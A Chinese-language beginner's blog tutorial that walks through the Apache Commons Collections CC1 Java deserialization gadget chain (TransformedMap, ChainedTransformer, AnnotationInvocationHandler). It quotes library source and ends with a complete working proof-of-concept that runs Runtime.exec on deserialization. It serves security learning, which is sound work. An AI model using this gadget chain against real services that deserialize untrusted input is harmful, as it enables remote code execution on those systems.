apache commons collections(CC1 TransformedMap链子)分析

最近一直在搞java安全,搞得可谓是走火入魔。。。当然刚入门,这也是篇入门文章
注意:PHP的反序列化和java的反序列化几乎不是一回事儿,你用PHP的反序列化思想去看java反序列化是不对的。
那么废话不多说,开整。
配环境花了半年…(主要就是先tmd没意识到自己下到的是jdk8u111,眼瞎了属于是,然后怎么弄都弄不好,然后意识到了,去下jdk8u65,然后tmd,给我下的是jdk8u111,然后k4👴帮我下到了8u65,到现在都不知道什么原因,)
这篇文章学习了b站up主白日梦组长和P牛的java安全漫谈以及https://javasec.org

0X01 简介

Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的**Collection(集合) **相关类对象

提前准备

为了方便看懂代码和方便调试,还是要先将src.zip解压,然后原本的src内并没有sun包,所以我们需要去下载openjdk,导入sun包,然后去配置项目结构。
这边我遇到一个问题,我明明下的是8u65,为什么下载下来变成8u111了。。
在这里插入图片描述
在k4👴的帮助下,我下到了8u65,然后先解压src.zip.
在这里插入图片描述

其实原生的src里面是没有sun包的。
在这里插入图片描述
需要外置导入。
下载JDK对应的openJDK,
在这里插入图片描述

找到src\share\classes下的sun
在这里插入图片描述
复制到jdk下的src下。
然后记得在项目结构里导入src
在这里插入图片描述

如果不导入的话,那么查找用法的时候就会找不到对应的类。
在这里插入图片描述

当我们导入之后就方便我们的debug和阅读。
关于依赖没有.java文件,我们可以点右上角的下载源代码
image.png
然后他报错了。。。。。
image.png
最后找到maven的设置setting.xml然后修改了仓库就好了。

正式开始

Transformer

这是一个接口,有一个待实现的方法transform,这个方法用于对传进来的对象进行一个转换,也就是说有点对象转换的内味儿。他有很多的实现类,但是我们需要的实现类有这几个。ConstantTransformer、invokerTransformer、ChainedTransformer。
那有人就要问了,那么多实现类为什么就用那么几个。你去看源码嘛,你去看他的那些实现类嘛。

ConstantTransformer

这个类就是实现Transformer接口的一个类,查看源码
看看他重写的transform方法。

/*
*  Licensed to the Apache Software Foundation (ASF) under one or more
*  contributor license agreements.  See the NOTICE file distributed with
*  this work for additional information regarding copyright ownership.
*  The ASF licenses this file to You under the Apache License, Version 2.0
*  (the "License"); you may not use this file except in compliance with
*  the License.  You may obtain a copy of the License at
*
*      http://www.apache.org/licenses/LICENSE-2.0
*
*  Unless required by applicable law or agreed to in writing, software
*  distributed under the License is distributed on an "AS IS" BASIS,
*  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*  See the License for the specific language governing permissions and
*  limitations under the License.
*/
package org.apache.commons.collections.functors;

import java.io.Serializable;

import org.apache.commons.collections.Transformer;

/**
* Transformer implementation that returns the same constant each time.
* <p>
* No check is made that the object is immutable. In general, only immutable
* objects should use the constant factory. Mutable objects should
* use the prototype factory.
* 
* @since Commons Collections 3.0
* @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
*
* @author Stephen Colebourne
*/
public class ConstantTransformer implements Transformer, Serializable {

    /** Serial version UID */
    private static final long serialVersionUID = 6374440726369055124L;

    /** Returns null each time */
    public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);

    /** The closures to call in turn */
    private final Object iConstant;

    /**
* Transformer method that performs validation.
*
* @param constantToReturn  the constant object to return each time in the factory
* @return the <code>constant</code> factory.
*/
    public static Transformer getInstance(Object constantToReturn) {
        if (constantToReturn == null) {
            return NULL_INSTANCE;
        }
        return new ConstantTransformer(constantToReturn);
    }

    /**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
* 
* @param constantToReturn  the constant to return each time
*/
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    /**
* Transforms the input by ignoring it and returning the stored constant instead.
* 
* @param input  the input object which is ignored
* @return the stored constant
*/
    public Object transform(Object input) {
        return iConstant;
    }

    /**
* Gets the constant.
* 
* @return the constant
* @since Commons Collections 3.1
*/
    public Object getConstant() {
        return iConstant;
    }

}

他的transform就是一个常量转换,他在构造方法中定义的对象是啥,他就返回啥。
当我们传入Runtime.class,那么他转换后依然是Runtime.class,无论我们传入的是啥,他只返回iConstant(也就是说我们从构造方法中传入的obj)。

public static void main(String[] args) {
    ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
    System.out.println(constantTransformer.transform(String.class));
}
}

返回结果 class java.lang.Runtime。

invokerTransformer

/*
 *  Licensed to the Apache Software Foundation (ASF) under one or more
 *  contributor license agreements.  See the NOTICE file distributed with
 *  this work for additional information regarding copyright ownership.
 *  The ASF licenses this file to You under the Apache License, Version 2.0
 *  (the "License"); you may not use this file except in compliance with
 *  the License.  You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 *  Unless required by applicable law or agreed to in writing, software
 *  distributed under the License is distributed on an "AS IS" BASIS,
 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *  See the License for the specific language governing permissions and
 *  limitations under the License.
 */
package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;

/**
 * Transformer implementation that creates a new object instance by reflection.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
 *
 * @author Stephen Colebourne
 */
public class InvokerTransformer implements Transformer, Serializable {

    /** The serial version */
    private static final long serialVersionUID = -8653385846894047688L;
    
    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;

    /**
     * Gets an instance of this transformer calling a specific method with no arguments.
     * 
     * @param methodName  the method name to call
     * @return an invoker transformer
     * @since Commons Collections 3.1
     */
    public static Transformer getInstance(String methodName) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        }
        return new InvokerTransformer(methodName);
    }

    /**
     * Gets an instance of this transformer calling a specific method with specific values.
     * 
     * @param methodName  the method name to call
     * @param paramTypes  the parameter types of the method
     * @param args  the arguments to pass to the method
     * @return an invoker transformer
     */
    public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        }
        if (((paramTypes == null) && (args != null))
            || ((paramTypes != null) && (args == null))
            || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
            throw new IllegalArgumentException("The parameter types must match the arguments");
        }
        if (paramTypes == null || paramTypes.length == 0) {
            return new InvokerTransformer(methodName);
        } else {
            paramTypes = (Class[]) paramTypes.clone();
            args = (Object[]) args.clone();
            return new InvokerTransformer(methodName, paramTypes, args);
        }
    }

    /**
     * Constructor for no arg instance.
     * 
     * @param methodName  the method to call
     */
    private InvokerTransformer(String methodName) {
        super();
        iMethodName = methodName;
        iParamTypes = null;
        iArgs = null;
    }

    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param methodName  the method to call
     * @param paramTypes  the constructor parameter types, not cloned
     * @param args  the constructor arguments, not cloned
     */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

正如白日梦组长所说,这个transform方法真的很像一个后门.而且我们可以通过构造方法可以直接尝试RCE.他这里用的也就是反射。
我们用的构造方法是这个

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

然后开写。

public static void main(String[] args) {
    InvokerTransformer transformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    transformer.transform(Runtime.getRuntime());

}

刚才啥比了,有把Runtime.getRuntime()写成Runtime.class了,注意Runtime是不能直接获取的。。需要使用getRuntime来获取Runtime对象。new的时候也不能直接new.

ChainedTransformer

顾名思义是一个链式调用。那么我们来看一下他对我们有用的方法。

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

/**
* Transforms the input to result via each decorated transformer
* 
* @param object  the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
}
return object;
}

可以看到它的构造方法可以传入一个Transformer的数组,赋值给iTransformers.
transform传递一个object,然后for循环,将上一个transformer的transform结果传入object,给下一个transformer的transform方法获取到的object作为参数传递。也就是说前一个的结果作为后一个的参数传入。
那么要用他来进行一个exp的编写。那么就肯定要调用invokerTransformer和ConstantTransformer,那么可以肯定的是我们可以用ConstantTransformer来调用Runtime.class,然后用invokerTransformer来进行调用getRuntime,然后进行方法调用,然后达到RCE的作用。
所以我们先来看一下普通的反射调用Runtime达到弹出计算器的目的。
因为getRuntime是静态方法,所以invoke里面可以null,或者随便填一个.class都可以,所以不必纠结为什么下面的exec需要传入r这个实例化对象,而getRuntime的invoke不需要

Class c=Runtime.class;
Method getruntime=c.getMethod("getRuntime",null);
Runtime r=(Runtime)getruntime.invoke(null,null);
Method execmethod=c.getMethod("exec",String.class);
execmethod.invoke(r,"calc");

我们之前用过InvokerTransformer进行RCE过,那么我们通过InvokerTransformer来实现这个步骤。
我们捋一下,把InvokerTransformer的构造方法和transform单独放在一起。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

那么我们现在来构造InvokerTransformer来进行链式调用,进行弹计算器。

public static void main(String[] args) throws InvocationTargetException, IllegalAccessException {
    String cmd="calc.exe";
    Method method=(Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
    Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(method);
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd}).transform(runtime);
}

如果是InvokerTransformer不通过getMethod再去调用getRuntime的话,那么input.getClass()就会变成Class,然后找不到getRuntime而报错。
说到前提我们刚才用InvokerTransformer完成了一个链式调用,那么我们现在就要将其套入ChainedTransformer

public class TestMain {
    public static void main(String[] args) {
        String cmd="calc.exe";
        //        Method method=(Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        //        Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(method);
        //        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd}).transform(runtime);
        Transformer transformer=new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        });
        transformer.transform(null);
    }
}

那么我们的链式调用就完成辣。
然后接下来要找哪儿调用了transform。以便我们“移花接木”,我们看到了这个类,也就是标题上说的TransformedMap

TransformedMap

image.png
我们看一下他的构造方法。
image.pngprotected,好了,我们肯定没法直接拿到。

TransformedMap.decorate

那么我们就看看有没有哪儿调用了这个构造方法。可以看到有这个方法,这里返回的就是一个TransformedMap对象。
image.png

TransformedMap.checkSetValue

我们可以看到checkSetValue中有调用valueTransformer的transform.
image.png
现在还不知道checkSetValue是否可控

AbstractInputCheckedMapDecorator.setValue

只有一个很明显的调用。跟进AbstractInputCheckedMapDecorator(抽象类),也就是说我们需要调用setValue才能调用checkSetValue。
image.png
这个类是TransformedMap的父类
image.png
说回来,我们现在就要想办法看怎么样才能调用到setValue。
翻了一下笔记
image.png

可以知道我们可以用这种方法搭配for循环进行遍历。

for(HashMap.Entry entry: hashmap.entrySet()){
}

那么说回setValue,其实我们也可以通过这个for循环对setValue进行调用。
那么我们就可以通过entry.setValue将值传入传递给checkSetValue,然后走进入transform,valueTransformer我们现在通过代码去控制(完成移花接木的效果),现在还不知道能不能调用到一个有setValue的循环。
那我们先来看一下我们目前的exp吧。

public static void main(String[] args) throws InvocationTargetException, IllegalAccessException {
    InvokerTransformer exec=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    HashMap<Object,Object> hashmap=new HashMap<>();
    hashmap.put("asd","asd");
    Map<Object,Object> transformermap= TransformedMap.decorate(hashmap,null,exec);
    for(Map.Entry entry: transformermap.entrySet()){
        entry.setValue(Runtime.getRuntime());
    }
}

我们通过这种方式调用setValue来RCE。
那么我们现在来想,哪儿可能会调用这个setValue,于是前辈们就找到了这个类

AnnotationInvocationHandler

(AnnotationInvocationHandler),这个类是绝佳的反序列化的入口
一些关键的代码

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }
        private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

他在readObject中for循环调用setValue,且memberValue.setValue的memberValue是从构造方法从传入的。
所以memberValue可控.同时需要注意,这个类是default类型的,所以不能直接new,那么该咋办捏,那当然是反射咯
因为Class<? extends Annotation>,所以构造方法的第一个参数必须是注解类。
然后现在我们的payload就成了这样

  public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InstantiationException, IOException {
            InvokerTransformer exec=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
            HashMap<Object,Object> hashmap=new HashMap<>();
            hashmap.put("asd","asd");
            Map<Object,Object> transformermap= TransformedMap.decorate(hashmap,null,exec);
            Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor= cls.getDeclaredConstructor(Class.class,Map.class);//获取构造方法,一个class,一个map
            constructor.setAccessible(true);//修改权限,保证可访问
            Object AnnotationInvocationHandlernew=constructor.newInstance(Override.class,transformermap);//第一个参数
            serialize(AnnotationInvocationHandlernew);
            unserialize("ser.bin");

    }

现在肯定是没法RCE的,因为我们还不确定setValue中的value还是否可控。且这边的exec肯定是要链式调用的。

问题

我们现在需要解决有这几个问题

1.我们不知道setValue里面的这个AnnotationTypeMismatchExceptionProxy是否确定可控。

关于这个问题,那就不得不说到ConstantTransformer,这个类的构造方法和transform有一个特性,我们在构造方法中给出.class,transform不管给啥,都给构造方法中的.class,那么我们就不用管这里的setValue,给啥了,反正最后传给ConstantTransformer.transform,就返回构造方法中的Object就美滋滋了。

new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));

2.还有就是Runtime是不能序列化的

其实这个问题我们之前解决了。我们用反射的方式的方式进行获取getRuntime,通过反射,我们将其然后通过getRuntime,获取到Runtime对象。
在前面其实我有抛出过一个疑问,但是我没写在前面,这边说一下
为什么不能这么写。

Method method=(Method)new InvokerTransformer("getRuntime",new Class[]{null},new Object[]{null}).transform(Runtime.class);

后来,我问了诸多大佬,同时自己debug 步进的时候也发现在transform的时候,他cls=input.getClass.我们传入的Runtime.class到cls,当然是因为上下文中没有Runtime.class实例,就变成了Class。所以会找不到getRuntime。
然后我们发现我们在调用Runtime进行RCE的时候其实是使用了上一个的结果作为Object传入了下一个方法的transform,那么这不就是悟了吗,直接使用ChainedTransformer。

3.在setValue前有两个if,我们需要看能否绕过去。

if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy))

我们打个断点跟一下现在的payload

     public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }

  public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InstantiationException, IOException {
      Transformer transformer=new ChainedTransformer(new Transformer[]{
              new ConstantTransformer(Runtime.class),
              new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
              new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
              new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
      });
            HashMap<Object,Object> hashmap=new HashMap<>();
            hashmap.put("asd","asd");
            Map<Object,Object> transformermap= TransformedMap.decorate(hashmap,null,transformer);
            Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor= cls.getDeclaredConstructor(Class.class,Map.class);//获取构造方法,一个class,一个map
            constructor.setAccessible(true);//修改权限,保证可访问
            Object AnnotationInvocationHandlernew=constructor.newInstance(Override.class,transformermap);//第一个参数
            serialize(AnnotationInvocationHandlernew);
            unserialize("ser.bin");

    }

我直接一手分析。
第一个框里面是用 getInstance 来获取注解实例,看是否合法,
第二个框内的代码是为了获取他的成员名称:值,(<memberName, value>)当然看我们的代码从传入的是Override都为空。
image.png
要从我们的注解中获取为name (上面getKey得到的)成员名称。
image.png
然后下面就开始判断,如果为null,那么就直接拜拜了。那么我们这边就可以总结。我们需要将我们payload中put的key和我们传入的注解类中的成员名称一致。才能进入第一个if。所以我们就改我们的payload。
我们将我们的第一个注解类改为Target.class,将hashmap.put key还改为value。
所以俺们就酱紫改。
image.png
第二个if就比较好搞了,强转肯定是转不过去的,毕竟value是随便填的。value也不可能是ExceptionProxy的实例。
image.png
到最后咱的exp就写完了。CC1最终的payload就为

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class MainTest {
     public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }

  public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InstantiationException, IOException {
      Transformer transformer=new ChainedTransformer(new Transformer[]{
              new ConstantTransformer(Runtime.class),
              new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
              new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
              new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
      });
            HashMap<Object,Object> hashmap=new HashMap<>();
            hashmap.put("value","asd");
            Map<Object,Object> transformermap= TransformedMap.decorate(hashmap,null,transformer);
            Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor= cls.getDeclaredConstructor(Class.class,Map.class);//获取构造方法,一个class,一个map
            constructor.setAccessible(true);//修改权限,保证可访问
            Object AnnotationInvocationHandlernew=constructor.newInstance(Target.class,transformermap);//第一个参数
            serialize(AnnotationInvocationHandlernew);
            unserialize("ser.bin");

    }
}

最终的调用链

ObjectInputStream.readObject()
  ->AnnotationInvocationHandler.readObject()
      ->TransformedMap.entrySet().iterator().next().setValue()
          ->TransformedMap.checkSetValue()
        ->TransformedMap.transform()
          ->ChainedTransformer.transform()
            ->ConstantTransformer.transform()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Class.getMethod()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.getRuntime()
            ->InvokerTransformer.transform()
              ->Method.invoke()
                ->Runtime.exec()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值